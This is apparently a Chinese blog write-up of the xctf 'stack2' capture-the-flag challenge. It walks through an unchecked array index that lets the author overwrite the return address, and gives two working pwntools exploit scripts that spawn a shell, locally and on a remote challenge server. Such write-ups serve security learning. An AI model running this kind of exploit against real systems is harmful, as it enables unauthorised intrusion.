xctf - stack2
2024-08-30 10:20:03
xctf - stack2
文件check一下,几乎全开了
运行一下程序,好像很正常呢:
再来一个大的,好像有点儿问题,变1.00了
在ida中查看,在输入的时候没有检查数据大小
可以通过劫持eip获取shell。程序偏移0x84,程序中读取了低位,需要逐位添加地址
system(‘/bin/bash’)地址:0x0804859b
#!/usr/bin/env python
#coding:utf-8 from pwn import * p = process('./stack2')
#p = remote('xxxxx',xxxx) system_bish_addr = 0x0804859b leave_offset = 0x84 def write_adrr(addr,va):
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(va))
p.recvuntil('5. exit\n') #payload = xxxxx p.sendlineafter('How many numbers you have:\n','1') p.sendlineafter('Give me your numbers\n','2') p.recvuntil('5. exit\n') write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08) p.sendline('5')
p.interactive()
本地成功,远程失败,提示没有bash,只有sh
需要改一下代码:
先找一下程序的system地址和sh地址:
system_addr = 0x08048450
bish_addr = 0x08048987
修改后:
#!/usr/bin/env python
#coding:utf-8 from pwn import * #p = process('./stack2')
p = remote('111.198.29.45',58596) system_addr = 0x08048450
bish_addr = 0x08048987 leave_offset = 0x84 def write_adrr(addr,va):
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(va))
p.recvuntil('5. exit\n') #payload = xxxxx p.sendlineafter('How many numbers you have:\n','1') p.sendlineafter('Give me your numbers\n','2') p.recvuntil('5. exit\n') write_adrr(leave_offset,0x50)
write_adrr(leave_offset+1,0x84)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08) leave_offset +=8
write_adrr(leave_offset,0x87)
write_adrr(leave_offset+1,0x89)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline('5')
p.interactive()
成功!
最新文章
- RP
- 2015年度总结--javaWeb
- Microsoft.Web.Redis.RedisSessionStateProvider
- Django单元测试二三事
- @font-face
- JQuery调用iframe父页面元素与方法
- Tomcat 9.0安装配置
- mysql 异常处理
- Runtime —— 从应用场景说起
- CI Weekly #13 | 用更 Geek 的方式配置你的 CI 工作流
- 关于config文件中AppSettings和ConnectionStrings的用法跟区别(转)
- LVS-1
- JavaScript--元素对象方法setAttribute() 和appendChild()
- 浮动ip cz
- ASP.NET MVC 重命名[命名空间]而导致的错误及发现的ASP.NET MVC Bug一枚
- Day71 分页,cookie and Session
- 渗透测试===kali linux的安装
- 【小思考】Python的float转换精度损失所想到的
- Django 自带密码加密,自定密码加密方式 及自定义验证方式
- php 文件上传$_FILES中error返回值详解